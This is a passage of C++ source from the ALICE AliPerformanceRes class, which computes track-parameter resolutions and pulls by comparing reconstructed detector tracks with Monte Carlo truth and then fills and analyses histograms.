TMath::Sin(TMath::ATan2(particle->Py(),particle->Px())); Float_t mctgl = TMath::Tan(TMath::ATan2(particle->Pz(),particle->Pt())); if ((esdTrack->GetStatus()&AliESDtrack::kTPCrefit)==0) return; // TPC refit if (esdTrack->GetTPCNcls()<fCutsRC->GetMinNClustersTPC()) return; // min. nb. TPC clusters if(esdTrack->GetITSclusters(0)<fCutsRC->GetMinNClustersITS()) return; // min. nb. ITS clusters Float_t deltaPtTPC, deltaYTPC, deltaZTPC, deltaPhiTPC, deltaLambdaTPC; Float_t pull1PtTPC, pullYTPC, pullZTPC, pullPhiTPC, pullLambdaTPC; // select primaries if(TMath::Abs(dca[0])<fCutsRC->GetMaxDCAToVertexXY() && TMath::Abs(dca[1])<fCutsRC->GetMaxDCAToVertexZ()) { if(mcpt == 0) return; deltaYTPC= esdTrack->GetY()-particle->Vy(); deltaZTPC = esdTrack->GetZ()-particle->Vz(); deltaLambdaTPC = TMath::ATan2(esdTrack->Pz(),esdTrack->Pt())-TMath::ATan2(particle->Pz(),particle->Pt()); deltaPhiTPC = TMath::ATan2(esdTrack->Py(),esdTrack->Px())-TMath::ATan2(particle->Py(),particle->Px()); //delta1PtTPC = (esdTrack->OneOverPt()-1./mcpt)*mcpt; deltaPtTPC = (esdTrack->Pt()-mcpt) / mcpt; pullYTPC= (esdTrack->GetY()-particle->Vy()) / TMath::Sqrt(esdTrack->GetSigmaY2()); pullZTPC = (esdTrack->GetZ()-particle->Vz()) / TMath::Sqrt(esdTrack->GetSigmaZ2()); //Double_t sigma_lambda = 1./(1.+esdTrack->GetTgl()*esdTrack->GetTgl()) * TMath::Sqrt(esdTrack->GetSigmaTgl2()); //Double_t sigma_phi = 1./TMath::Sqrt(1-esdTrack->GetSnp()*esdTrack->GetSnp()) * TMath::Sqrt(esdTrack->GetSigmaSnp2()); pullPhiTPC = (esdTrack->GetSnp() - mcsnp) / TMath::Sqrt(esdTrack->GetSigmaSnp2()); pullLambdaTPC = (esdTrack->GetTgl() - mctgl) / TMath::Sqrt(esdTrack->GetSigmaTgl2()); //pullLambdaTPC = deltaLambdaTPC / TMath::Sqrt(esdTrack->GetSigmaTgl2()); //pullPhiTPC = deltaPhiTPC / TMath::Sqrt(esdTrack->GetSigmaSnp2()); if (mcpt) pull1PtTPC = (esdTrack->OneOverPt()-1./mcpt) / TMath::Sqrt(esdTrack->GetSigma1Pt2()); else pull1PtTPC = 0.; Double_t vResolHisto[10] = {deltaYTPC,deltaZTPC,deltaPhiTPC,deltaLambdaTPC,deltaPtTPC,particle->Vy(),particle->Vz(),mcphi,mceta,mcpt}; fResolHisto->Fill(vResolHisto); Double_t vPullHisto[10] = {pullYTPC,pullZTPC,pullPhiTPC,pullLambdaTPC,pull1PtTPC,particle->Vy(),particle->Vz(),mcsnp,mctgl,1./mcpt}; fPullHisto->Fill(vPullHisto); /* deltaYTPC= esdTrack->GetY()-particle->Vy(); deltaZTPC = esdTrack->GetZ()-particle->Vz(); deltaLambdaTPC = TMath::ATan2(esdTrack->Pz(),esdTrack->Pt())-TMath::ATan2(particle->Pz(),particle->Pt()); deltaPhiTPC = TMath::ATan2(esdTrack->Py(),esdTrack->Px())-TMath::ATan2(particle->Py(),particle->Px()); delta1PtTPC = (esdTrack->OneOverPt()-1./mcpt)*mcpt; pullYTPC= (esdTrack->GetY()-particle->Vy()) / TMath::Sqrt(esdTrack->GetSigmaY2()); pullZTPC = (esdTrack->GetZ()-particle->Vz()) / TMath::Sqrt(esdTrack->GetSigmaZ2()); Double_t sigma_lambda = 1./(1.+esdTrack->GetTgl()*esdTrack->GetTgl()) * TMath::Sqrt(esdTrack->GetSigmaTgl2()); Double_t sigma_phi = 1./TMath::Sqrt(1-esdTrack->GetSnp()*esdTrack->GetSnp()) * TMath::Sqrt(esdTrack->GetSigmaSnp2()); pullLambdaTPC = deltaLambdaTPC / sigma_lambda; pullPhiTPC = deltaPhiTPC / sigma_phi; //pullLambdaTPC = deltaLambdaTPC / TMath::Sqrt(esdTrack->GetSigmaTgl2()); //pullPhiTPC = deltaPhiTPC / TMath::Sqrt(esdTrack->GetSigmaSnp2()); if (mcpt) pull1PtTPC = (esdTrack->OneOverPt()-1./mcpt) / TMath::Sqrt(esdTrack->GetSigma1Pt2()); else pull1PtTPC = 0.; Double_t vResolHisto[10] = {deltaYTPC,deltaZTPC,deltaPhiTPC,deltaLambdaTPC,delta1PtTPC,particle->Vy(),particle->Vz(),mceta,mcphi,mcpt}; fResolHisto->Fill(vResolHisto); Double_t vPullHisto[10] = {pullYTPC,pullZTPC,pullPhiTPC,pullLambdaTPC,pull1PtTPC,particle->Vy(),particle->Vz(),mceta,mcphi,mcpt}; fPullHisto->Fill(vPullHisto); */ } } //_____________________________________________________________________________ void AliPerformanceRes::ProcessConstrained(AliStack* const stack, AliESDtrack *const esdTrack, AliESDEvent* const esdEvent) { // Fill resolution comparison information (constarained parameters) // if(!esdEvent) return; if(!esdTrack) return; if( IsUseTrackVertex() ) { // Relate TPC inner params to prim. vertex const AliESDVertex *vtxESD = esdEvent->GetPrimaryVertexTracks(); Double_t x[3]; esdTrack->GetXYZ(x); Double_t b[3]; AliTracker::GetBxByBz(x,b); Bool_t isOK = esdTrack->RelateToVertexBxByBz(vtxESD, b, kVeryBig); if(!isOK) return; /* // JMT -- recaluclate DCA for HLT if not present if ( dca[0] == 0. && dca[1] == 0. ) { track->GetDZ( vtxESD->GetX(), vtxESD->GetY(), vtxESD->GetZ(), esdEvent->GetMagneticField(), dca ); } */ } const AliExternalTrackParam * track = esdTrack->GetConstrainedParam(); if(!track) return; Float_t dca[2], cov[3]; // dca_xy, dca_z, sigma_xy, sigma_xy_z, sigma_z esdTrack->GetImpactParameters(dca,cov); // // Fill rec vs MC information // if(!stack) return; Int_t label = TMath::Abs(esdTrack->GetLabel()); TParticle* particle = stack->Particle(label); if(!particle) return; if(!particle->GetPDG()) return; if(particle->GetPDG()->Charge()==0) return; //printf("charge %d \n",particle->GetPDG()->Charge()); // Only 5 charged particle species (e,mu,pi,K,p) if (fCutsMC->IsPdgParticle(TMath::Abs(particle->GetPdgCode())) == kFALSE) return; // exclude electrons if (fCutsMC->GetEM()==TMath::Abs(particle->GetPdgCode())) return; Float_t mceta = particle->Eta(); Float_t mcphi = particle->Phi(); if(mcphi<0) mcphi += 2.*TMath::Pi(); Float_t mcpt = particle->Pt(); Float_t mcsnp = TMath::Sin(TMath::ATan2(particle->Py(),particle->Px())); Float_t mctgl = TMath::Tan(TMath::ATan2(particle->Pz(),particle->Pt())); if ((esdTrack->GetStatus()&AliESDtrack::kTPCrefit)==0) return; // TPC refit if (esdTrack->GetTPCNcls()<fCutsRC->GetMinNClustersTPC()) return; // min. nb. TPC clusters Float_t deltaPtTPC, deltaYTPC, deltaZTPC, deltaPhiTPC, deltaLambdaTPC; Float_t pull1PtTPC, pullYTPC, pullZTPC, pullPhiTPC, pullLambdaTPC; // select primaries if(TMath::Abs(dca[0])<fCutsRC->GetMaxDCAToVertexXY() && TMath::Abs(dca[1])<fCutsRC->GetMaxDCAToVertexZ()) { if(mcpt == 0) return; deltaYTPC= track->GetY()-particle->Vy(); deltaZTPC = track->GetZ()-particle->Vz(); deltaLambdaTPC = TMath::ATan2(track->Pz(),track->Pt())-TMath::ATan2(particle->Pz(),particle->Pt()); deltaPhiTPC = TMath::ATan2(track->Py(),track->Px())-TMath::ATan2(particle->Py(),particle->Px()); //delta1PtTPC = (track->OneOverPt()-1./mcpt)*mcpt; deltaPtTPC = (track->Pt()-mcpt) / mcpt; pullYTPC= (track->GetY()-particle->Vy()) / TMath::Sqrt(track->GetSigmaY2()); pullZTPC = (track->GetZ()-particle->Vz()) / TMath::Sqrt(track->GetSigmaZ2()); //Double_t sigma_lambda = 1./(1.+track->GetTgl()*track->GetTgl()) * TMath::Sqrt(track->GetSigmaTgl2()); //Double_t sigma_phi = 1./TMath::Sqrt(1-track->GetSnp()*track->GetSnp()) * TMath::Sqrt(track->GetSigmaSnp2()); pullPhiTPC = (track->GetSnp() - mcsnp) / TMath::Sqrt(track->GetSigmaSnp2()); pullLambdaTPC = (track->GetTgl() - mctgl) / TMath::Sqrt(track->GetSigmaTgl2()); //pullLambdaTPC = deltaLambdaTPC / TMath::Sqrt(track->GetSigmaTgl2()); //pullPhiTPC = deltaPhiTPC / TMath::Sqrt(track->GetSigmaSnp2()); if (mcpt) pull1PtTPC = (track->OneOverPt()-1./mcpt) / TMath::Sqrt(track->GetSigma1Pt2()); else pull1PtTPC = 0.; Double_t vResolHisto[10] = {deltaYTPC,deltaZTPC,deltaPhiTPC,deltaLambdaTPC,deltaPtTPC,particle->Vy(),particle->Vz(),mcphi,mceta,mcpt}; fResolHisto->Fill(vResolHisto); Double_t vPullHisto[10] = {pullYTPC,pullZTPC,pullPhiTPC,pullLambdaTPC,pull1PtTPC,particle->Vy(),particle->Vz(),mcsnp,mctgl,1./mcpt}; fPullHisto->Fill(vPullHisto); /* deltaYTPC= track->GetY()-particle->Vy(); deltaZTPC = track->GetZ()-particle->Vz(); deltaLambdaTPC = TMath::ATan2(track->Pz(),track->Pt())-TMath::ATan2(particle->Pz(),particle->Pt()); deltaPhiTPC = TMath::ATan2(track->Py(),track->Px())-TMath::ATan2(particle->Py(),particle->Px()); delta1PtTPC = (track->OneOverPt()-1./mcpt)*mcpt; pullYTPC= (track->GetY()-particle->Vy()) / TMath::Sqrt(track->GetSigmaY2()); pullZTPC = (track->GetZ()-particle->Vz()) / TMath::Sqrt(track->GetSigmaZ2()); Double_t sigma_lambda = 1./(1.+track->GetTgl()*track->GetTgl()) * TMath::Sqrt(track->GetSigmaTgl2()); Double_t sigma_phi = 1./TMath::Sqrt(1-track->GetSnp()*track->GetSnp()) * TMath::Sqrt(track->GetSigmaSnp2()); pullLambdaTPC = deltaLambdaTPC / sigma_lambda; pullPhiTPC = deltaPhiTPC / sigma_phi; //pullLambdaTPC = deltaLambdaTPC / TMath::Sqrt(track->GetSigmaTgl2()); //pullPhiTPC = deltaPhiTPC / TMath::Sqrt(track->GetSigmaSnp2()); if (mcpt) pull1PtTPC = (track->OneOverPt()-1./mcpt) / TMath::Sqrt(track->GetSigma1Pt2()); else pull1PtTPC = 0.; Double_t vResolHisto[10] = {deltaYTPC,deltaZTPC,deltaPhiTPC,deltaLambdaTPC,delta1PtTPC,particle->Vy(),particle->Vz(),mceta,mcphi,mcpt}; fResolHisto->Fill(vResolHisto); Double_t vPullHisto[10] = {pullYTPC,pullZTPC,pullPhiTPC,pullLambdaTPC,pull1PtTPC,particle->Vy(),particle->Vz(),mceta,mcphi,mcpt}; fPullHisto->Fill(vPullHisto); */ } } //_____________________________________________________________________________ void AliPerformanceRes::ProcessInnerTPC(AliMCEvent *const mcEvent, AliESDtrack *const esdTrack, AliESDEvent* const esdEvent) { // // Fill resolution comparison information (inner params at TPC reference point) // if(!esdEvent) return; if(!esdTrack) return; if( IsUseTrackVertex() ) { // Relate TPC inner params to prim. vertex const AliESDVertex *vtxESD = esdEvent->GetPrimaryVertexTracks(); Double_t x[3]; esdTrack->GetXYZ(x); Double_t b[3]; AliTracker::GetBxByBz(x,b); Bool_t isOK = esdTrack->RelateToVertexTPCBxByBz(vtxESD, b, kVeryBig); if(!isOK) return; /* // JMT -- recaluclate DCA for HLT if not present if ( dca[0] == 0. && dca[1] == 0. ) { track->GetDZ( vtxESD->GetX(), vtxESD->GetY(), vtxESD->GetZ(), esdEvent->GetMagneticField(), dca ); } */ } const AliExternalTrackParam * innerParam = esdTrack->GetInnerParam(); if(!innerParam) return; // create new AliExternalTrackParam AliExternalTrackParam *track = new AliExternalTrackParam(*innerParam); if(!track) return; Float_t dca[2], cov[3]; // dca_xy, dca_z, sigma_xy, sigma_xy_z, sigma_z esdTrack->GetImpactParametersTPC(dca,cov); // // Fill rec vs MC information // if(!mcEvent) return; Int_t label = esdTrack->GetTPCLabel(); //Use TPC-only label for TPC-only resolution analysis if (label <= 0) return; AliMCParticle *mcParticle = (AliMCParticle*) mcEvent->GetTrack(label); if(!mcParticle) return; // get the first TPC track reference AliTrackReference *ref0 = GetFirstTPCTrackRef(mcParticle); if(!ref0) return; // Only 5 charged particle species (e,mu,pi,K,p) TParticle *particle = mcParticle->Particle(); if(!particle) return; if (fCutsMC->IsPdgParticle(TMath::Abs(particle->GetPdgCode())) == kFALSE) return; // exclude electrons if (fCutsMC->GetEM()==TMath::Abs(particle->GetPdgCode())) return; Double_t mclocal[4]; //Rotated x,y,Px,Py mc-coordinates - the MC data should be rotated since the track is propagated best along x Double_t c = TMath::Cos(track->GetAlpha()); Double_t s = TMath::Sin(track->GetAlpha()); Double_t x = ref0->X(); Double_t y = ref0->Y(); mclocal[0] = x*c + y*s; mclocal[1] =-x*s + y*c; Double_t px = ref0->Px(); Double_t py = ref0->Py(); mclocal[2] = px*c + py*s; mclocal[3] =-px*s + py*c; //Double_t xyz[3] = {ref0->X(),ref0->Y(),ref0->Z()}; // propagate track to the radius of the first track reference within TPC //Double_t trRadius = TMath::Sqrt(xyz[1] * xyz[1] + xyz[0] * xyz[0]); Double_t field[3]; track->GetBxByBz(field); if (TGeoGlobalMagField::Instance()->GetField() == NULL) { Error("ProcessInnerTPC", "Magnetic Field not set"); } Bool_t isOK = track->PropagateToBxByBz(mclocal[0],field); if(!isOK) {return;} //track->AliExternalTrackParam::PropagateTo(mclocal[0],esdEvent->GetMagneticField()); //Use different propagation since above methods returns zero B field and does not work Float_t mceta = -TMath::Log(TMath::Tan(0.5 * ref0->Theta())); Float_t mcphi = ref0->Phi(); if(mcphi<0) mcphi += 2.*TMath::Pi(); Float_t mcpt = ref0->Pt(); Float_t mcsnp = TMath::Sin(TMath::ATan2(ref0->Py(),ref0->Px())); Float_t mcsnplocal = TMath::Sin(TMath::ATan2(mclocal[3],mclocal[2])); Float_t mctgl = TMath::Tan(TMath::ATan2(ref0->Pz(),ref0->Pt())); if ((esdTrack->GetStatus()&AliESDtrack::kTPCrefit)==0) return; // TPC refit if (esdTrack->GetTPCNcls()<fCutsRC->GetMinNClustersTPC()) return; // min. nb. TPC clusters Float_t deltaPtTPC, deltaYTPC, deltaZTPC, deltaPhiTPC, deltaLambdaTPC; Float_t pull1PtTPC, pullYTPC, pullZTPC, pullPhiTPC, pullLambdaTPC; // select primaries Bool_t isPrimary; if ( IsUseTrackVertex() ) { isPrimary = TMath::Abs(dca[0])<fCutsRC->GetMaxDCAToVertexXY() && TMath::Abs(dca[1])<fCutsRC->GetMaxDCAToVertexZ(); } else { //If Track vertex is not used the above check does not work, hence we use the MC reference track isPrimary = label < mcEvent->Stack()->GetNprimary(); } if(isPrimary) { if(mcpt == 0) return; deltaYTPC= track->GetY()-mclocal[1]; deltaZTPC = track->GetZ()-ref0->Z(); deltaLambdaTPC = TMath::ATan2(track->Pz(),track->Pt())-TMath::ATan2(ref0->Pz(),ref0->Pt()); //track->Px() etc returns momentum in global coordinates, hence mc momentum must not be rotated. deltaPhiTPC = TMath::ATan2(track->Py(),track->Px())-TMath::ATan2(ref0->Py(),ref0->Px()); //delta1PtTPC = (track->OneOverPt()-1./mcpt)*mcpt; deltaPtTPC = (track->Pt()-mcpt) / mcpt; pullYTPC= deltaYTPC / TMath::Sqrt(track->GetSigmaY2()); pullZTPC = deltaZTPC / TMath::Sqrt(track->GetSigmaZ2()); //Double_t sigma_lambda = 1./(1.+track->GetTgl()*track->GetTgl()) * TMath::Sqrt(track->GetSigmaTgl2()); //Double_t sigma_phi = 1./TMath::Sqrt(1-track->GetSnp()*track->GetSnp()) * TMath::Sqrt(track->GetSigmaSnp2()); //track->GetSnp returns value in local coordinates, hence here, in contrast to deltaPhiTPC, the mc momentum must be rotated pullPhiTPC = (track->GetSnp() - mcsnplocal) / TMath::Sqrt(track->GetSigmaSnp2()); pullLambdaTPC = (track->GetTgl() - mctgl) / TMath::Sqrt(track->GetSigmaTgl2()); //pullLambdaTPC = deltaLambdaTPC / TMath::Sqrt(track->GetSigmaTgl2()); //pullPhiTPC = deltaPhiTPC / TMath::Sqrt(track->GetSigmaSnp2()); if (mcpt) pull1PtTPC = (track->OneOverPt()-1./mcpt) / TMath::Sqrt(track->GetSigma1Pt2()); else pull1PtTPC = 0.; Double_t vResolHisto[10] = {deltaYTPC,deltaZTPC,deltaPhiTPC,deltaLambdaTPC,deltaPtTPC,ref0->Y(),ref0->Z(),mcphi,mceta,mcpt}; fResolHisto->Fill(vResolHisto); Double_t vPullHisto[10] = {pullYTPC,pullZTPC,pullPhiTPC,pullLambdaTPC,pull1PtTPC,ref0->Y(),ref0->Z(),mcsnp,mctgl,1./mcpt}; fPullHisto->Fill(vPullHisto); } if(track) delete track; } //_____________________________________________________________________________ void AliPerformanceRes::ProcessOuterTPC(AliMCEvent *const mcEvent, AliESDtrack *const esdTrack, AliESDfriendTrack *const friendTrack, AliESDEvent* const esdEvent) { // // Fill resolution comparison information (outer params at TPC reference point) // if(!friendTrack) return; if(!esdEvent) return; if(!esdTrack) return; if( IsUseTrackVertex() ) { // Relate TPC inner params to prim. vertex const AliESDVertex *vtxESD = esdEvent->GetPrimaryVertexTracks(); Double_t x[3]; esdTrack->GetXYZ(x); Double_t b[3]; AliTracker::GetBxByBz(x,b); Bool_t isOK = esdTrack->RelateToVertexTPCBxByBz(vtxESD, b, kVeryBig); if(!isOK) return; /* // JMT -- recaluclate DCA for HLT if not present if ( dca[0] == 0. && dca[1] == 0. ) { track->GetDZ( vtxESD->GetX(), vtxESD->GetY(), vtxESD->GetZ(), esdEvent->GetMagneticField(), dca ); } */ } const AliExternalTrackParam * outerParam = friendTrack->GetTPCOut(); if(!outerParam) return; // create new AliExternalTrackParam AliExternalTrackParam *track = new AliExternalTrackParam(*outerParam); if(!track) return; Float_t dca[2], cov[3]; // dca_xy, dca_z, sigma_xy, sigma_xy_z, sigma_z esdTrack->GetImpactParametersTPC(dca,cov); // // Fill rec vs MC information // if(!mcEvent) return; Int_t label = esdTrack->GetTPCLabel(); //Use TPC-only label for TPC-only resolution analysis if (label <= 0) return; AliMCParticle *mcParticle = (AliMCParticle*) mcEvent->GetTrack(label); if(!mcParticle) return; // get the last TPC track reference AliTrackReference *ref0 = GetLastTPCTrackRef(mcParticle); if(!ref0) return; // Only 5 charged particle species (e,mu,pi,K,p) TParticle *particle = mcParticle->Particle(); if(!particle) return; if (fCutsMC->IsPdgParticle(TMath::Abs(particle->GetPdgCode())) == kFALSE) return; // exclude electrons if (fCutsMC->GetEM()==TMath::Abs(particle->GetPdgCode())) return; // calculate alpha angle Double_t xyz[3] = {ref0->X(),ref0->Y(),ref0->Z()}; Double_t alpha = TMath::ATan2(xyz[1],xyz[0]); //if (alpha<0) alpha += TMath::TwoPi(); // rotate outer track to local coordinate system // and propagate to the radius of the last track reference of TPC Double_t trRadius = TMath::Sqrt(xyz[1] * xyz[1] + xyz[0] * xyz[0]); //Bool_t isOK = track->Propagate(alpha,trRadius,AliTracker::GetBz()); Double_t field[3]; track->GetBxByBz(field); Bool_t isOK = track->PropagateBxByBz(alpha,trRadius,field); if(!isOK) return; Float_t mceta = -TMath::Log(TMath::Tan(0.5 * ref0->Theta())); Float_t mcphi = ref0->Phi(); if(mcphi<0) mcphi += 2.*TMath::Pi(); Float_t mcpt = ref0->Pt(); Float_t mcsnp = TMath::Sin(TMath::ATan2(ref0->Py(),ref0->Px())); Float_t mctgl = TMath::Tan(TMath::ATan2(ref0->Pz(),ref0->Pt())); if ((esdTrack->GetStatus()&AliESDtrack::kTPCrefit)==0) return; // TPC refit if (esdTrack->GetTPCNcls()<fCutsRC->GetMinNClustersTPC()) return; // min. nb. TPC clusters Float_t deltaPtTPC, deltaYTPC, deltaZTPC, deltaPhiTPC, deltaLambdaTPC; Float_t pull1PtTPC, pullYTPC, pullZTPC, pullPhiTPC, pullLambdaTPC; // select primaries if(TMath::Abs(dca[0])<fCutsRC->GetMaxDCAToVertexXY() && TMath::Abs(dca[1])<fCutsRC->GetMaxDCAToVertexZ()) { if(mcpt == 0) return; deltaYTPC= track->GetY(); // already rotated deltaZTPC = track->GetZ()-ref0->Z(); deltaLambdaTPC = TMath::ATan2(track->Pz(),track->Pt())-TMath::ATan2(ref0->Pz(),ref0->Pt()); deltaPhiTPC = TMath::ATan2(track->Py(),track->Px())-TMath::ATan2(ref0->Py(),ref0->Px()); //delta1PtTPC = (track->OneOverPt()-1./mcpt)*mcpt; deltaPtTPC = (track->Pt()-mcpt) / mcpt; pullYTPC= track->GetY() / TMath::Sqrt(track->GetSigmaY2()); pullZTPC = (track->GetZ()-ref0->Z()) / TMath::Sqrt(track->GetSigmaZ2()); //Double_t sigma_lambda = 1./(1.+track->GetTgl()*track->GetTgl()) * TMath::Sqrt(track->GetSigmaTgl2()); //Double_t sigma_phi = 1./TMath::Sqrt(1-track->GetSnp()*track->GetSnp()) * TMath::Sqrt(track->GetSigmaSnp2()); pullPhiTPC = (track->GetSnp() - mcsnp) / TMath::Sqrt(track->GetSigmaSnp2()); pullLambdaTPC = (track->GetTgl() - mctgl) / TMath::Sqrt(track->GetSigmaTgl2()); //pullLambdaTPC = deltaLambdaTPC / TMath::Sqrt(track->GetSigmaTgl2()); //pullPhiTPC = deltaPhiTPC / TMath::Sqrt(track->GetSigmaSnp2()); if (mcpt) pull1PtTPC = (track->OneOverPt()-1./mcpt) / TMath::Sqrt(track->GetSigma1Pt2()); else pull1PtTPC = 0.; Double_t vResolHisto[10] = {deltaYTPC,deltaZTPC,deltaPhiTPC,deltaLambdaTPC,deltaPtTPC,ref0->Y(),ref0->Z(),mcphi,mceta,mcpt}; fResolHisto->Fill(vResolHisto); Double_t vPullHisto[10] = {pullYTPC,pullZTPC,pullPhiTPC,pullLambdaTPC,pull1PtTPC,ref0->Y(),ref0->Z(),mcsnp,mctgl,1./mcpt}; fPullHisto->Fill(vPullHisto); } if(track) delete track; } //_____________________________________________________________________________ AliTrackReference * AliPerformanceRes::GetFirstTPCTrackRef(AliMCParticle *mcParticle) { // return first TPC track reference if(!mcParticle) return 0; // find first track reference // check direction to select proper reference point for looping tracks Int_t nTrackRef = mcParticle->GetNumberOfTrackReferences(); AliTrackReference *ref = 0; AliTrackReference *refIn = 0; for (Int_t iref = 0; iref < nTrackRef; iref++) { ref = mcParticle->GetTrackReference(iref); if(ref && (ref->DetectorId()==AliTrackReference::kTPC)) { Float_t dir = ref->X()*ref->Px()+ref->Y()*ref->Py(); if(dir < 0.) break; refIn = ref; break; } } return refIn; } //_____________________________________________________________________________ AliTrackReference * AliPerformanceRes::GetLastTPCTrackRef(AliMCParticle *mcParticle) { // return last TPC track reference if(!mcParticle) return 0; // find last track reference // check direction to select proper reference point for looping tracks Int_t nTrackRef = mcParticle->GetNumberOfTrackReferences(); AliTrackReference *ref = 0; AliTrackReference *refOut = 0; for (Int_t iref = 0; iref < nTrackRef; iref++) { ref = mcParticle->GetTrackReference(iref); if(ref && (ref->DetectorId()==AliTrackReference::kTPC)) { Float_t dir=ref->X()*ref->Px()+ref->Y()*ref->Py(); if(dir< 0.0) break; refOut = ref; } } return refOut; } //_____________________________________________________________________________ void AliPerformanceRes::Exec(AliMCEvent* const mcEvent, AliESDEvent *const esdEvent, AliESDfriend *const esdFriend, const Bool_t bUseMC, const Bool_t bUseESDfriend) { // Process comparison information if(!esdEvent) { Error("Exec","esdEvent not available"); return; } AliHeader* header = 0; AliGenEventHeader* genHeader = 0; AliStack* stack = 0; TArrayF vtxMC(3); if(bUseMC) { if(!mcEvent) { Error("Exec","mcEvent not available"); return; } // get MC event header header = mcEvent->Header(); if (!header) { Error("Exec","Header not available"); return; } // MC particle stack stack = mcEvent->Stack(); if (!stack) { Error("Exec","Stack not available"); return; } // get MC vertex genHeader = header->GenEventHeader(); if (!genHeader) { Error("Exec","Could not retrieve genHeader from Header"); return; } genHeader->PrimaryVertex(vtxMC); } else { Error("Exec","MC information required!"); return; } // use ESD friends if(bUseESDfriend) { if(!esdFriend) { Error("Exec","esdFriend not available"); return; } } // get event vertex const AliESDVertex *vtxESD = NULL; if( IsUseTrackVertex() ) { // track vertex vtxESD = esdEvent->GetPrimaryVertexTracks(); if(vtxESD && (vtxESD->GetStatus()<=0)) return; } // Coverity - removed else branch as vtxESD is not further used in method // else { // // TPC track vertex // vtxESD = esdEvent->GetPrimaryVertexTPC(); // } // Process events for (Int_t iTrack = 0; iTrack < esdEvent->GetNumberOfTracks(); iTrack++) { AliESDtrack *track = esdEvent->GetTrack(iTrack); if(!track) continue; AliESDfriendTrack *friendTrack=0; Int_t label = TMath::Abs(track->GetLabel()); if ( label > stack->GetNtrack() ) { ULong_t status = track->GetStatus(); printf ("Error : ESD MCLabel %d - StackSize %d - Status %lu \n", track->GetLabel(), stack->GetNtrack(), status ); printf(" NCluster %d \n", track->GetTPCclusters(0) ); /* if ((status&AliESDtrack::kTPCrefit)== 0 ) printf(" kTPCrefit \n"); if ((status&AliESDtrack::kTPCin)== 0 ) printf(" kTPCin \n"); if ((status&AliESDtrack::kTPCout)== 0 ) printf(" kTPCout \n"); if ((status&AliESDtrack::kTRDrefit)== 0 ) printf(" kTRDrefit \n"); if ((status&AliESDtrack::kTRDin)== 0 ) printf(" kTRDin \n"); if ((status&AliESDtrack::kTRDout)== 0 ) printf(" kTRDout \n"); if ((status&AliESDtrack::kITSrefit)== 0 ) printf(" kITSrefit \n"); if ((status&AliESDtrack::kITSin)== 0 ) printf(" kITSin \n"); if ((status&AliESDtrack::kITSout)== 0 ) printf(" kITSout \n"); */ continue; } if (label == 0) continue; //Cannot distinguish between track or fake track if (track->GetLabel() < 0) continue; //Do not consider fake tracks if(GetAnalysisMode() == 0) ProcessTPC(stack,track,esdEvent); else if(GetAnalysisMode() == 1) ProcessTPCITS(stack,track,esdEvent); else if(GetAnalysisMode() == 2) ProcessConstrained(stack,track,esdEvent); else if(GetAnalysisMode() == 3) ProcessInnerTPC(mcEvent,track,esdEvent); else if(GetAnalysisMode() == 4) { if(bUseESDfriend) { friendTrack=esdFriend->GetTrack(iTrack); if(!friendTrack) continue; } ProcessOuterTPC(mcEvent,track,friendTrack,esdEvent); } else { printf("ERROR: AnalysisMode %d \n",fAnalysisMode); return; } } } //_____________________________________________________________________________ TH1F* AliPerformanceRes::MakeResol(TH2F * his, Int_t integ, Bool_t type, Int_t cut){ // Create resolution histograms TH1F *hisr, *hism; if (!gPad) new TCanvas; hisr = AliTreeDraw::CreateResHistoII(his,&hism,integ,kTRUE,cut); if (type) return hism; else return hisr; } //_____________________________________________________________________________ void AliPerformanceRes::Analyse() { // Analyse comparison information and store output histograms // in the folder "folderRes" // TH1::AddDirectory(kFALSE); TH1F *h=0; TH2F *h2D=0; TObjArray *aFolderObj = new TObjArray; if(!aFolderObj) return; // write results in the folder TCanvas * c = new TCanvas("Phi resol Tan","Phi resol Tan"); c->cd(); char name[256]; char title[256]; for(Int_t i=0; i<5; i++) { for(Int_t j=5; j<10; j++) { if(j!=8) fResolHisto->GetAxis(8)->SetRangeUser(-0.9,0.89); // eta window //if(j!=8) fResolHisto->GetAxis(8)->SetRangeUser(0.0,0.89); // eta window else fResolHisto->GetAxis(8)->SetRangeUser(-1.5,1.49); if(GetAnalysisMode() == 3) fResolHisto->GetAxis(5)->SetRangeUser(-80.,79.99); // y range h2D = (TH2F*)fResolHisto->Projection(i,j); h = AliPerformanceRes::MakeResol(h2D,1,0,100); snprintf(name,256,"h_res_%d_vs_%d",i,j); h->SetName(name); h->GetXaxis()->SetTitle(fResolHisto->GetAxis(j)->GetTitle()); snprintf(title,256,"%s %s",fResolHisto->GetAxis(i)->GetTitle(),"(resolution)"); h->GetYaxis()->SetTitle(title); snprintf(title,256,"%s vs %s",title,fResolHisto->GetAxis(j)->GetTitle()); h->SetTitle(title); if(j==9) h->SetBit(TH1::kLogX); aFolderObj->Add(h); h = AliPerformanceRes::MakeResol(h2D,1,1,100); //h = (TH1F*)arr->At(1); snprintf(name,256,"h_mean_res_%d_vs_%d",i,j); h->SetName(name); h->GetXaxis()->SetTitle(fResolHisto->GetAxis(j)->GetTitle()); snprintf(title,256,"%s %s",fResolHisto->GetAxis(i)->GetTitle(),"(mean)"); h->GetYaxis()->SetTitle(title); snprintf(title,256,"%s vs %s",title,fResolHisto->GetAxis(j)->GetTitle()); h->SetTitle(title); if(j==9) h->SetBit(TH1::kLogX); aFolderObj->Add(h); fResolHisto->GetAxis(8)->SetRangeUser(-1.5,1.5); fResolHisto->GetAxis(9)->SetRangeUser(0.1,100.); // if(j!=8) fPullHisto->GetAxis(8)->SetRangeUser(-0.9,0.89); // eta window //if(j!=8) fPullHisto->GetAxis(8)->SetRangeUser(0.0,0.89); // eta window else fPullHisto->GetAxis(8)->SetRangeUser(-1.5,1.49); // eta window fPullHisto->GetAxis(9)->SetRangeUser(0.,9.99); // 1./pt threshold if(GetAnalysisMode() == 3) fPullHisto->GetAxis(5)->SetRangeUser(-80.,79.99); // y range h2D = (TH2F*)fPullHisto->Projection(i,j); h = AliPerformanceRes::MakeResol(h2D,1,0,100); snprintf(name,256,"h_pull_%d_vs_%d",i,j); h->SetName(name); h->GetXaxis()->SetTitle(fPullHisto->GetAxis(j)->GetTitle()); snprintf(title,256,"%s %s",fPullHisto->GetAxis(i)->GetTitle(),"(resolution)"); h->GetYaxis()->SetTitle(title); snprintf(title,256,"%s vs %s",title,fPullHisto->GetAxis(j)->GetTitle()); h->SetTitle(title); //if(j==9) h->SetBit(TH1::kLogX); aFolderObj->Add(h); h = AliPerformanceRes::MakeResol(h2D,1,1,100); snprintf(name,256,"h_mean_pull_%d_vs_%d",i,j); h->SetName(name); h->GetXaxis()->SetTitle(fPullHisto->GetAxis(j)->GetTitle()); snprintf(title,256,"%s 